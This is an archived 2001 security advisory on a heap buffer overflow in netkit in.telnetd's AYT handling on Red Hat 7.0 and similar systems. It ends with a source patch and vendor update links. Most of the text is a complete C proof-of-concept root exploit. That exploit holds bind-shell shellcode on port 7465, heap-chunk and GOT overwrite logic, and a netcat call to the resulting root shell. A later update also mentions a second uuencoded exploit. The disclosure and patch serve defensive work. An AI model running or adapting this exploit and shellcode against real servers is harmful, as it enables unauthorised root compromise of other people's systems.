13th Aug 2001 [SBWID-934]
COMMAND
telnetd local and remote buffer overflow
SYSTEMS AFFECTED
netkit <=0.17 in.telnetd
PROBLEM
\'zen-parse\' found following. telnet-0.17-7 is the default
in.telnetd for Redhat 7.0. The version of /usr/sbin/in.telnetd
that comes as default on Redhat 7.0, and many other distributions
contains an exploitable overflow in the handling of its output,
allowing execution of arbitrary commands.
The problem is in the handling of the AYT commands, as described
in the following advisory:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/telnet16.html
If the user has local access to the system, it is possilble to
get the program to set arbitrary environment variables in the
environment of /bin/login, e.g. LD_PRELOAD=/tmp/make-rootshell.so.
By filling the heap, in a similar way to the teso exploit, it its
possible to set 2 or more environment variables.
If the user doesn\'t have local access, it is possible to overwrite
the chunk header information for a pointer used by setenv(3), and
store a new chunk in a user controllable location, so when the
envrionement gets reallocated it will change the value of
arbitrary memory locations.
You could cause the pointer to set the length of the previous
chunk to the distance back from the chunk to a point in netibuf,
which itself contains a chunk to set the address of a function in
the GOT to point to shellcode, which could also be stored in the
network input buffer.
Sometimes bad things happen that you have to kludge to fix. e.g.
push_clean() in the proof of concept exploit. Sometimes we got
some characters from the previous input being sent again, and
when that was a command to set an environment variable or
something else that changed the environment, it kinda messed with
malloc calculations a little.
As it is, this exploit will probably not work on your machine, but
carefully modifying appropriate values should fix that.
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
/*********************************************************************
Proof of concept netkit-0.17-7 local root exploit.
Exploits buffer overflow in the AYT handling of in.telnetd,
due to bad logic in the handling of snprintf(), and
TESO advisory details were enough to allow me to put
controlable addresses in arbitary heap locations.
Heap based exploit. Overflow allows rewriting of some heap
data, which allowed me to put a new heap structure in the
input buffer, which let me do whatever I want.
\'traceroute exploit story - By Dvorak, Synnergy Networks\' was very
helpful. Also malloc.c was good.
*********************************************************************/
/*
Notes about exploit
1) RedHat 7.0, exploiting localhost
2) hostname is clarity.local
3) It probably won\'t work without at least a different setting for
the --size option, and probably the --name option as well. The
--name arguemnt is the hostname part of the string that gets
returned by the AYT command, which may be different to the name
of the address you are connecting to..
4) There are a lot of things that use the heap, making the size
depend on alot of factors.
5) You will might need to change some (or all) of the offsets.
This program does allow you to brute force, if the hostname returned
by the AYT command is not a multiple of 3 letters long.
It is also possibly (at least according to some quick testing I did)
exploitable on some (all?) servers with names that are multiples of three
letters long, using the Abort Output command to add 2 characters to the
output length, and exploit the heap in a similar manner to this method.
(You can only directly put user controlable characters in 2 out of 3
locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
will give you 2 more than a multiple of 3 bytes) with controllable
characters, but when you count the null added by the netoprintf(), and use
0 as an option to a do or will, you can sometimes create valid chunks that
point to locations you can control. I have only tested this method with a
simulation, but it seems it would probably work with the telnetd as well.
I will look into it when I have time. Maybe.)
. . _ _ _ _ . . _ _ _ . .
|_ _|_ _|_ _ . / / |/| |_| _| | | ||/| / | | ||_ | |
| | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| /
|
*********************************************************************/
#define SERVER_PORT 23
#define ENV 18628
int offset12[] = {
// netibuf[343]->the chunk start.
-4, 0xaa,
-5, 0xbb,
-6, 0xcc,
-7, 0x10,
-9, 0xdd,
-10, 0x68,
-12, 0xee,
-13, 0x88,
-14, 0x99,
0, 0x00
};
int offset3[]={
-1,0x00,
0,0
};
int *offsets=offset12;
int dalen = 0;
int big;
int small;
int mipl = 0;
int ninbufoffset;
char spinchars[] = \"/|\\-\";
char tosend[] = {
0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
0xff, 0xfb, 0x23, 0
};
char lamagra_bind_code[] =
// the NOPs are my part... to jump over the modified places,
// without me having to take a look to see where they are.
// Modified to listen on 7465 == TAGS and work thru TELNET protocol.
\"x90xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\"
\"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\"
\"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\"
\"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\"
\"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\"
\"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\"
\"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90\"
\"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90\"
\"x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8\"
\"x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89\"
\"x45xf4x43x66x89x5dxecx66xc7x45xeex1dx29x89x4dxf0\"
\"x8dx45xecx89x45xf8xc6x45xfcx10x89xd0x8dx4dxf4xcd\"
\"x80x89xd0x43x43xcdx80x89xd0x43xcdx80x89xc3x31xc9\"
\"xb2x3fx89xd0xcdx80x89xd0x41xcdx80xebx18x5ex89x75\"
\"x08x31xc0x88x46x07x89x45x0cxb0x0bx89xf3x8dx4dx08\"
\"x8dx55x0cxcdx80xe8xe3\"
\"xffxffxffxffxffxff/bin/sh\";
char *shellcode = lamagra_bind_code;
int sock; /* fd for socket connection */
FILE *dasock; /* for doing fprint et al */
struct sockaddr_in server; /* the server end of the socket */
struct hostent *hp; /* Return value from gethostbyname() */
char buf[40960]; /* Received data buffer */
char sock_buf[64 * 1024]; /* Received data buffer */
char daenv[10000];
char oldenv[10000];
extern int errno;
read_sock ()
{
/* Prepare our buffer for a read and then read. */
bzero (buf, sizeof (buf));
if (read (sock, buf, sizeof (buf)) < 0)
if (errno != 11)
{
perror (\"! Socket read\");
exit (1);
}
}
sock_setup ()
{
int flags;
int yes = 1;
if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror (\"! Error making the socketn\");
exit (1);
}
bzero ((char *) &server, sizeof (server));
server.sin_family = AF_INET;
if ((hp = gethostbyname (\"localhost\")) == NULL)
{
fprintf (stderr, \"! localhost unknown??n\");
exit (1);
}
bcopy (hp->h_addr, &server.sin_addr, hp->h_length);
server.sin_port = htons ((u_short) SERVER_PORT);
/* Try to connect */
if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0)
{
perror (\"! Error connectingn\");
exit (1);
}
dasock = (FILE *) fdopen (sock, \"w+\");
if (!dasock)
{
perror (\"! Bad fdopen happened\");
exit (1);
}
/****************************************
Thanks to xphantom for the next 4 lines.
(which i don\'t need anymore ;? )
flags = fcntl(sock, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(sock, F_SETFL, flags);
if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) {
perror(\"setsockopt\");
exit(1);
}
*****************************************/
setbuffer (dasock, sock_buf, 64 * 1024);
}
do_iac (char c)
{
putc (0xff, dasock);
putc (c, dasock);
}
do_ayt ()
{
do_iac (0xf6); // sets buffer length to 2
}
doo (char c)
{
putc (255, dasock);
putc (253, dasock);
putc (c, dasock);
}
will (char c)
{
putc (255, dasock);
putc (251, dasock);
putc (c, dasock);
}
wont (char c)
{
putc (255, dasock);
putc (252, dasock);
putc (c, dasock);
}
void
solve (int remain)
{
int x, y;
big = -100;
small = -100;
for (x = 0; x < 120; x++)
for (y = 2; y < 80; y++)
{
if (((y * 3) + (x * dalen)) == remain)
{
big = x;
small = y;
return;
}
}
fprintf (stderr, \"I still can\'t work it out.nn\");
exit (1);
}
push_clean ()
{
int l;
for (l = 0; l < 8192; l++)
putc (0, dasock);
}
push_heap_attack ()
{
int l;
int shaddr = 0x805c970;
int overwrite = 0x08051e78; // fopen
int tosend[] = {
0x805670eb,
0x8,
shaddr,
shaddr,
0x0,
0x0,
overwrite - 12,
shaddr
};
fwrite (shellcode, strlen (shellcode), 1, dasock);
for (l = strlen (shellcode); l < 289 + ninbufoffset; l++)
putc (0, dasock);
fwrite (tosend, 8, 4, dasock);
fflush (dasock);
}
fill2 (int count, char with, int real)
{
int l;
int first, rest, find;
first = (int) (count / dalen) - 10;
rest = (int) (((count) % dalen) / 3) * 3;
find = count - ((first * dalen) + (rest * 3));
solve (find);
first += big;
rest += small;
for (l = 0; l < first; l++)
do_ayt ();
for (l = 0; l < rest; l++)
will (with);
if (real == 1)
{
push_clean ();
}
}
fill (int count, char with)
{
fprintf (stderr, \" o Length %d char %d (%02x)n\",
count, with & 0xff, with & 0xff);
fflush (stderr);
fill2 (8257, \'z\', 0); // first part
fill2 (count - 8257, with, 1); // do it for real
}
doenv (char *danam, char *daval)
{
sprintf (daenv, \"%c%c%c%c%c%s%c%s%c%c\",
/* IAC SB N-E IS VAR name VAL value IAC SE */
255, 250, 39, 0, 0, danam, 1, daval, 255, 240);
fwrite (daenv, 512, 1, dasock);
fflush (dasock);
}
main (int argc, char *argv[])
{
int br, l, dosleep = 0;
int percent = 0;
char spin;
unsigned char w;
bzero (oldenv, sizeof (oldenv));
argv++;
dalen = strlen (\"clarity.local\");
while (argv[0])
{
if (!strcmp (argv[0], \"--pause\"))
dosleep = 1;
if (!strcmp (argv[0], \"--size\") && argv[1])
{
mipl = atoi (argv[1]);
argv++;
}
if (!strcmp (argv[0], \"--name\") && argv[1])
{
dalen = strlen (argv[1]);
argv++;
}
argv++;
}
fprintf (stderr, \" o MiPl of %4d o NameLen of %2dn\", mipl, dalen);
if(dalen%3==0)
{
offsets=offset3;
}
else
{
ninbufoffset = mipl % 8192;
offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
if (offsets[11] > 255)
{
fprintf (stderr, \" ! MiPl too big.\", mipl, dalen);
exit (1);
}
}
sock_setup ();
if (dosleep)
{
system (\"sleep 1;ps aux|grep in.telnetd|grep -v grep\");
sleep (8);
}
dalen += strlen (\"rn[ : yes]rn\");
fprintf (stderr, \"o Sending IAC WILL NEW-ENVIRONMENT...n\");
fflush (stderr);
doo (5);
will (39);
fflush (dasock);
read_sock ();
fprintf (stderr, \"o Setting up environment vars...n\");
fflush (stderr);
will (1);
push_clean ();
doenv (\"USER\", \"zen-parse\");
doenv (\"TERM\", \"zen-parse\");
will (39);
fflush (dasock);
fprintf (stderr, \"o Doing overflows...n\");
fflush (stderr);
for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
{
fill (mipl + ENV + offsets[br], offsets[br + 1]);
fflush (dasock);
usleep (100000);
read_sock ();
}
fprintf (stderr, \"o Overflows done...n\");
fflush (stderr);
push_clean ();
fprintf (stderr, \"o Sending IACs to start login process...n\");
fflush (stderr);
wont (24);
wont (32);
wont (35);
fprintf (dasock, \"%s\", tosend);
will (1);
push_heap_attack ();
sleep (1);
fprintf (stderr, \"o Attempting to lauch netcat to localhost rootshelln\");
execlp (\"nc\", \"nc\", \"-v\", \"localhost\", \"7465\", 0);
fprintf (stderr,
\"o If the exploit worked, there should be an open port on 7465.n\");
fprintf (stderr, \" It is a root shell. You should probably close it.n\");
fflush (stderr);
sleep (60);
exit (0);
}
/********************************************************************
Thanks to xphantom for the help with getting the some of the socket
stuff working properly. Erm. I didn\'t end up using that method, but
thanks anyway. ;]
This code is Copyright (c) 2001 zen-parse
Use and distribution is unlimited, provided the code is not modified.
If the code, including any of text is modified, that version may not
be redistrubuted.
********************************************************************/
/* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */
/********************************************************************
Remember to visit Chapel of Stilled Voices:
_ _ _ . .
|_ _|_ _|_ _ . / /. . _ _| _ _ . . / | _ |_ | |
| | | | |_|. / / |/| |_| _|.|_ |_||/| / |_ |_| _| /
- - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - -
| |
If there is anything below the next line someone is not following the
rules. --zen-parse
************************************END*****************************/
Update (28 February 2002)
======
Another local & remote exploit (uuencoded) :
begin 644 sortelnetd.tgz
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/G\\?G=W[^%_\\E9$X`H```
`
end
11535 bytes
SOLUTION
Quick patch:
--- netkit-telnet-0.17/telnetd/utility.c.ayt Wed Aug 8 16:33:01 2001
+++ netkit-telnet-0.17/telnetd/utility.c Wed Aug 8 17:20:39 2001
@@ -56,18 +56,25 @@
void
netoprintf(const char *fmt, ...)
{
- int len, maxsize;
+ int len = 0, maxsize;
va_list ap;
int done=0;
while (!done) {
maxsize = sizeof(netobuf) - (nfrontp - netobuf);
+ if (maxsize < 0) {
+ /* no way this is gonna fit - try to flush some */
+ netflush();
+ maxsize = sizeof(netobuf) - (nfrontp - netobuf);
+ if (maxsize < 0)
+ break;
+ }
va_start(ap, fmt);
len = vsnprintf(nfrontp, maxsize, fmt, ap);
va_end(ap);
- if (len<0 || len==maxsize) {
+ if (len<=0 || len==maxsize) {
/* didn\'t fit */
netflush();
}
--- netkit-telnet-0.17/telnetd/telnetd.c.ayt Wed Aug 8 16:33:01 2001
+++ netkit-telnet-0.17/telnetd/telnetd.c Wed Aug 8 17:21:44 2001
@@ -1277,7 +1277,7 @@
return;
}
#endif
- netoprintf(\"rn[%s : yes]rn\", host_name);
+ netoprintf(\"rn[Yes]rn\");
}
void doeof(void) {
For Debian:
http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16-4potato.2.diff.gz
http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16-4potato.2.dsc
http://security.debian.org/dists/stable/updates/main/binary-alpha/telnet_0.16-4potato.2_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/telnetd_0.16-4potato.2_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/telnet_0.16-4potato.2_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/telnetd_0.16-4potato.2_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/telnet_0.16-4potato.2_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/telnetd_0.16-4potato.2_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/telnet_0.16-4potato.2_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/telnetd_0.16-4potato.2_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnet_0.16-4potato.2_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnetd_0.16-4potato.2_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet_0.16-4potato.2_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd_0.16-4potato.2_sparc.deb
http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3-1.1.diff.gz
http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3-1.1.dsc
http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-alpha/ssltelnet_0.16.3-1.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/telnet-ssl_0.16.3-1.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/telnetd-ssl_0.16.3-1.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/ssltelnet_0.16.3-1.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/telnet-ssl_0.16.3-1.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/telnetd-ssl_0.16.3-1.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/ssltelnet_0.16.3-1.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/telnet-ssl_0.16.3-1.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/telnetd-ssl_0.16.3-1.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/ssltelnet_0.16.3-1.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/telnet-ssl_0.16.3-1.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/telnetd-ssl_0.16.3-1.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/ssltelnet_0.16.3-1.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnet-ssl_0.16.3-1.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnetd-ssl_0.16.3-1.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/ssltelnet_0.16.3-1.1_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet-ssl_0.16.3-1.1_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd-ssl_0.16.3-1.1_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/ssltelnet_0.16.3-1.2_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet-ssl_0.16.3-1.2_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd-ssl_0.16.3-1.2_sparc.deb
For Mandrake Linux:
Linux-Mandrake 7.1: 7.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
7.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
7.1/SRPMS/telnet-0.16-4.1mdk.src.rpm
Linux-Mandrake 7.2: 7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm
Mandrake Linux 8.0: 8.0/RPMS/telnet-0.17-7.1mdk.i586.rpm
8.0/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
8.0/SRPMS/telnet-0.17-7.1mdk.src.rpm
Corporate Server 1.0.1: 1.0.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
1.0.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
1.0.1/SRPMS/telnet-0.16-4.1mdk.src.rpm
Single Network Firewall 7.2:snf7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
snf7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
snf7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm
For Caldera Linux:
ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/RPMS/netkit-telnet-0.17-12a.i386.rpm
ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/SRPMS/netkit-telnet-0.17-12a.src.rpm
ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/RPMS/netkit-telnet-0.17-12a.i386.rpm
ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/SRPMS/netkit-telnet-0.17-12a.src.rpm
ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/RPMS/netkit-telnet-0.17-12a.i386.rpm
ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/SRPMS/netkit-telnet-0.17-12a.src.rpm
ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/RPMS/netkit-telnet-0.17-12.i386.rpm
ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/SRPMS/netkit-telnet-0.17-12.src.rpm
ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/RPMS/netkit-telnet-0.17-12.i386.rpm
ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/SRPMS/netkit-telnet-0.17-12.src.rpm
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